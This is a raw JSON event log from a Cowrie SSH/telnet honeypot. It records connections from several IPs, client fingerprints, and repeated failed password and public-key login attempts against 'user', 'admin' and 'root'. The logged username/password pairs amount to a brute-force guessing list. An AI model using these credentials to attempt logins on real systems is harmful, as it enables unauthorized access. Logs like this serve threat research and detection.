{"eventid":"cowrie.login.failed","username":"user","password":"241091","message":"login attempt [user/241091] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:00.255173Z","src_ip":"2.57.121.25","session":"8f8dbd7937a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24101981","message":"login attempt [user/24101981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:01.364758Z","src_ip":"2.57.121.25","session":"8f8dbd7937a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"240889","message":"login attempt [user/240889] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:02.478886Z","src_ip":"2.57.121.25","session":"8f8dbd7937a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24081993","message":"login attempt [user/24081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:03.587676Z","src_ip":"2.57.121.25","session":"8f8dbd7937a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:04.711242Z","src_ip":"2.57.121.25","session":"8f8dbd7937a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.295549631118774,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:09.149821Z","src_ip":"152.42.224.71","session":"8872714d19b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.884884357452393,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:09.375564Z","src_ip":"152.42.224.71","session":"4f383a9d1e76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":44904,"dst_ip":"159.203.135.109","dst_port":22,"session":"e60787972c30","protocol":"ssh","message":"New connection: 103.77.175.15:44904 (159.203.135.109:22) [session: e60787972c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:13.768620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:13.776742Z","src_ip":"103.77.175.15","session":"e60787972c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":14176,"dst_ip":"159.203.135.109","dst_port":22,"session":"707aa68f8d46","protocol":"ssh","message":"New connection: 2.57.121.112:14176 (159.203.135.109:22) [session: 707aa68f8d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:13.917835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:13.956567Z","src_ip":"2.57.121.112","session":"707aa68f8d46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:14.027946Z","src_ip":"103.77.175.15","session":"e60787972c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:14.058746Z","src_ip":"2.57.121.112","session":"707aa68f8d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"arriva","message":"login attempt [admin/arriva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:14.495161Z","src_ip":"2.57.121.112","session":"707aa68f8d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:14.797370Z","src_ip":"103.77.175.15","session":"e60787972c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"arnhem","message":"login attempt [admin/arnhem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:15.599437Z","src_ip":"2.57.121.112","session":"707aa68f8d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:16.050611Z","src_ip":"103.77.175.15","session":"e60787972c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ariel1","message":"login attempt [admin/ariel1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:16.704822Z","src_ip":"2.57.121.112","session":"707aa68f8d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.21379542350769,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:17.074098Z","src_ip":"152.42.224.71","session":"b169687dc34b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"arcturus","message":"login attempt [admin/arcturus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:17.808060Z","src_ip":"2.57.121.112","session":"707aa68f8d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"archibald","message":"login attempt [admin/archibald] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:18.912116Z","src_ip":"2.57.121.112","session":"707aa68f8d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:20.017049Z","src_ip":"2.57.121.112","session":"707aa68f8d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00737738609314,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:25.433542Z","src_ip":"152.42.224.71","session":"249d20896fcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.75366473197937,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:26.333167Z","src_ip":"152.42.224.71","session":"2342e6456f59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":82.47134017944336,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:28.434659Z","src_ip":"152.42.224.71","session":"fbcf68590675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.644887924194336,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:33.281583Z","src_ip":"152.42.224.71","session":"659820332004","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.253.68.13","src_port":49472,"dst_ip":"10.17.0.5","dst_port":22,"session":"190fe346a36c","protocol":"ssh","message":"New connection: 103.253.68.13:49472 (10.17.0.5:22) [session: 190fe346a36c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:33.470402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:33.480437Z","src_ip":"103.253.68.13","session":"190fe346a36c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:33.712335Z","src_ip":"103.253.68.13","session":"190fe346a36c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:f1:f2:0e:79:e1:22:7b:d2:0c:17:03:20:c3:a9:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP/LCnXRnV62utPymcjEzJIcSmHzed29rJVQWza3LgpTxXfAdm/jP+I7vbTZsHo3ap+CxuKQ51WO8VkavlBUQh2YcbWA8tRHhB1a+AOTsrgFoTT+L501Os/r0tVZWJR3fKtLoeCiueU/YWc6O087tEP1wEzzcWQgNS0/Ysd0U3fS8i12zVY/o742tJzsRm9/RHupA4ks5mQkawyLoO4M1bcn4UeVDxnejvwG5euu7PCWLtMpKpkdzGokUF6etDdNUVALyrgSHIYsKPKJOVI60OyjZD8YRrpPqcpsxZvuhAjYQtWVSnxovarmSICSt9f/twjjZC6RfqzWs3z03hXbW1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:f1:f2:0e:79:e1:22:7b:d2:0c:17:03:20:c3:a9:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:34.842790Z","src_ip":"103.253.68.13","session":"190fe346a36c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:f1:f2:0e:79:e1:22:7b:d2:0c:17:03:20:c3:a9:07","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP/LCnXRnV62utPymcjEzJIcSmHzed29rJVQWza3LgpTxXfAdm/jP+I7vbTZsHo3ap+CxuKQ51WO8VkavlBUQh2YcbWA8tRHhB1a+AOTsrgFoTT+L501Os/r0tVZWJR3fKtLoeCiueU/YWc6O087tEP1wEzzcWQgNS0/Ysd0U3fS8i12zVY/o742tJzsRm9/RHupA4ks5mQkawyLoO4M1bcn4UeVDxnejvwG5euu7PCWLtMpKpkdzGokUF6etDdNUVALyrgSHIYsKPKJOVI60OyjZD8YRrpPqcpsxZvuhAjYQtWVSnxovarmSICSt9f/twjjZC6RfqzWs3z03hXbW1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:34.847558Z","src_ip":"103.253.68.13","session":"190fe346a36c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:cd:c3:9a:81:3d:3a:eb:b9:d4:b0:d8:67:a7:04:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWxHYhmG/KD+myNSJrl4AhbIngeE0+ZIFqNcEpO0ENneh/gftcp0U7rT97OUS1BaSfilgW+LC1ld6VRXi7YGM0ZzYjEI5tor4MDCtbCiVJ5alxKX/cph3o7K35XNo91b513i1Gnc1ziJWrdZck6KDuQoOxRKbRZjEeEo21RBgOBXCph1XLYotfiKT4vHYR+Zm8BU/RZEA/ACZt3P3TRc3b165IE2KWQDUnFdPuT9Zn8RBA7dE+wBeyfS7PVHOU/QPFJKhe0NvhmuEwqC/aDvZbDU9O/Q87rG/y0JiqGbo+eDvDDr2atD41tlmyojIGdqHMaDe/JmQ9TCrfryXnyJCJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a6:cd:c3:9a:81:3d:3a:eb:b9:d4:b0:d8:67:a7:04:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:35.079340Z","src_ip":"103.253.68.13","session":"190fe346a36c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:cd:c3:9a:81:3d:3a:eb:b9:d4:b0:d8:67:a7:04:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWxHYhmG/KD+myNSJrl4AhbIngeE0+ZIFqNcEpO0ENneh/gftcp0U7rT97OUS1BaSfilgW+LC1ld6VRXi7YGM0ZzYjEI5tor4MDCtbCiVJ5alxKX/cph3o7K35XNo91b513i1Gnc1ziJWrdZck6KDuQoOxRKbRZjEeEo21RBgOBXCph1XLYotfiKT4vHYR+Zm8BU/RZEA/ACZt3P3TRc3b165IE2KWQDUnFdPuT9Zn8RBA7dE+wBeyfS7PVHOU/QPFJKhe0NvhmuEwqC/aDvZbDU9O/Q87rG/y0JiqGbo+eDvDDr2atD41tlmyojIGdqHMaDe/JmQ9TCrfryXnyJCJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:35.083628Z","src_ip":"103.253.68.13","session":"190fe346a36c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:11:d9:96:c5:f1:1f:fa:70:e2:89:4b:76:6d:64:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/W402kgEectU7/avQEVBV5fZ4SUItIH239JD8zqyWWO+o4KVa8mUeFDCbaVSm149FbC1giyBDzwLNwnaxJ8IezRfYdyjiMOuMUfhpLC091uZ6mE1olzCcZfotiZTCje8g6+0MiAUBtOCfyX8DofXXMIpZJ+zK9dagtw/4h9rqRLNzmljJHo7Pn9eJFhhCHWXA3Xd07yv+xCiS6V9KqhYuNfSSMyVbErgDcIirCsZdsBGe+EupbseoKrkW6Lb+6v5zzM5IcoxaYGsDcmJ0wEsnvDQFjJ1qa4Vq591MURfmEXY7ALfckrgbKZOuvZaI2sQV1wPT8JqoSfMj/+TmRU9z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:11:d9:96:c5:f1:1f:fa:70:e2:89:4b:76:6d:64:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:35.322387Z","src_ip":"103.253.68.13","session":"190fe346a36c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:11:d9:96:c5:f1:1f:fa:70:e2:89:4b:76:6d:64:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/W402kgEectU7/avQEVBV5fZ4SUItIH239JD8zqyWWO+o4KVa8mUeFDCbaVSm149FbC1giyBDzwLNwnaxJ8IezRfYdyjiMOuMUfhpLC091uZ6mE1olzCcZfotiZTCje8g6+0MiAUBtOCfyX8DofXXMIpZJ+zK9dagtw/4h9rqRLNzmljJHo7Pn9eJFhhCHWXA3Xd07yv+xCiS6V9KqhYuNfSSMyVbErgDcIirCsZdsBGe+EupbseoKrkW6Lb+6v5zzM5IcoxaYGsDcmJ0wEsnvDQFjJ1qa4Vq591MURfmEXY7ALfckrgbKZOuvZaI2sQV1wPT8JqoSfMj/+TmRU9z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:35.329165Z","src_ip":"103.253.68.13","session":"190fe346a36c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46672,"dst_ip":"10.17.0.5","dst_port":23,"session":"d04c40ac5ba6","protocol":"telnet","message":"New connection: 152.42.224.71:46672 (10.17.0.5:23) [session: d04c40ac5ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:35.530355Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"40:90:29:2e:80:76:cb:dd:4a:df:9d:04:f0:d2:f7:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0KQbImBr6S4toiFT5fkkL8Ycf5vLk6yBmoBl0H8oeTOnv3P1pE/AsWW6WAOXh/MLWx29qFY1zrfC9DBf9Yj5wtiB4/Zd6TjxTVCQrfWlcx6a5/kvyNXGajn6d6X4CZUgG4nYzFRoHXeFV9wOpsPS6K6oizGJIHN+WPkMDd4Nk+sJ0SgXnocH8ggtLVneAL+1yOkU0Mzsxf8gamgKnipb64cho9w3apYS50CQdoEiLUcZqDMGtOs2PN4AI4jsiu3tbH3t19uOkEZJBKjRtYqMm7Els1Uz9Gy1MlMpQh957BOKkRJ12GedNNS9D/Lms3LgCVCoeas1S4gRQDU1h5Y1QQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 40:90:29:2e:80:76:cb:dd:4a:df:9d:04:f0:d2:f7:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:35.564908Z","src_ip":"103.253.68.13","session":"190fe346a36c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"40:90:29:2e:80:76:cb:dd:4a:df:9d:04:f0:d2:f7:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0KQbImBr6S4toiFT5fkkL8Ycf5vLk6yBmoBl0H8oeTOnv3P1pE/AsWW6WAOXh/MLWx29qFY1zrfC9DBf9Yj5wtiB4/Zd6TjxTVCQrfWlcx6a5/kvyNXGajn6d6X4CZUgG4nYzFRoHXeFV9wOpsPS6K6oizGJIHN+WPkMDd4Nk+sJ0SgXnocH8ggtLVneAL+1yOkU0Mzsxf8gamgKnipb64cho9w3apYS50CQdoEiLUcZqDMGtOs2PN4AI4jsiu3tbH3t19uOkEZJBKjRtYqMm7Els1Uz9Gy1MlMpQh957BOKkRJ12GedNNS9D/Lms3LgCVCoeas1S4gRQDU1h5Y1QQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:35.569634Z","src_ip":"103.253.68.13","session":"190fe346a36c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:14:92:15:a8:24:fb:dd:a4:fe:de:9c:cc:5d:e9:3b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN1qoDxybhPE4FfpbDMDm1WztpRLz+X8D0UD+aNEfY/jtRNov7WgBlpCPnda7Ze6TvbAQcNrmeKDGX+inzxKUxW/84YMt/KmXCl0RL5VB/1/hqLEoSFoTI9nDDCSJKC3gKCW//FRmkRac+RY4bzjJnPxPng62QyQ4zs+CbDKY9rPAAAAFQCTwGyNfDZoWhmfP2g7UADS6TWNmwAAAIBWXzGYJF90VoeozaTWrFlEytm1XiRPI86WicylT0oZyIYM7IVlurSWiD+28Q01ZkUrxLfMjpb5ifNsTfwRBQHCNixJByoPvweMvXFVi9fSdjqtrH3LMgY5evXTA62BfiORgzkBHwfrKJF/iTS8qlu4Y3G22EFqinAjmS/PHhKYQAAAAIAeib9zJ/5FDW8M+1BspdIwNp39RomwHwe2XGl0Xg5iiq5skYGmSkU1QKxEysHxFxd89fj5snkox7WQazgcgQb30yPYzH8hps/al1I+DD6+oN1uDK0304WTl1c2Ox42AFSmYYYQF0GtYE2RQ42DTHabBM+ZI6WzH+UxmW7GoxVhzQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 84:14:92:15:a8:24:fb:dd:a4:fe:de:9c:cc:5d:e9:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:35.806252Z","src_ip":"103.253.68.13","session":"190fe346a36c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:14:92:15:a8:24:fb:dd:a4:fe:de:9c:cc:5d:e9:3b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAN1qoDxybhPE4FfpbDMDm1WztpRLz+X8D0UD+aNEfY/jtRNov7WgBlpCPnda7Ze6TvbAQcNrmeKDGX+inzxKUxW/84YMt/KmXCl0RL5VB/1/hqLEoSFoTI9nDDCSJKC3gKCW//FRmkRac+RY4bzjJnPxPng62QyQ4zs+CbDKY9rPAAAAFQCTwGyNfDZoWhmfP2g7UADS6TWNmwAAAIBWXzGYJF90VoeozaTWrFlEytm1XiRPI86WicylT0oZyIYM7IVlurSWiD+28Q01ZkUrxLfMjpb5ifNsTfwRBQHCNixJByoPvweMvXFVi9fSdjqtrH3LMgY5evXTA62BfiORgzkBHwfrKJF/iTS8qlu4Y3G22EFqinAjmS/PHhKYQAAAAIAeib9zJ/5FDW8M+1BspdIwNp39RomwHwe2XGl0Xg5iiq5skYGmSkU1QKxEysHxFxd89fj5snkox7WQazgcgQb30yPYzH8hps/al1I+DD6+oN1uDK0304WTl1c2Ox42AFSmYYYQF0GtYE2RQ42DTHabBM+ZI6WzH+UxmW7GoxVhzQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:35.810969Z","src_ip":"103.253.68.13","session":"190fe346a36c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.995218992233276,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:35.817548Z","src_ip":"152.42.224.71","session":"69e42465a4cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:36.044403Z","src_ip":"103.253.68.13","session":"190fe346a36c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49546,"dst_ip":"10.17.0.5","dst_port":23,"session":"d062789f4c83","protocol":"telnet","message":"New connection: 152.42.224.71:49546 (10.17.0.5:23) [session: d062789f4c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:00:38.842067Z"}
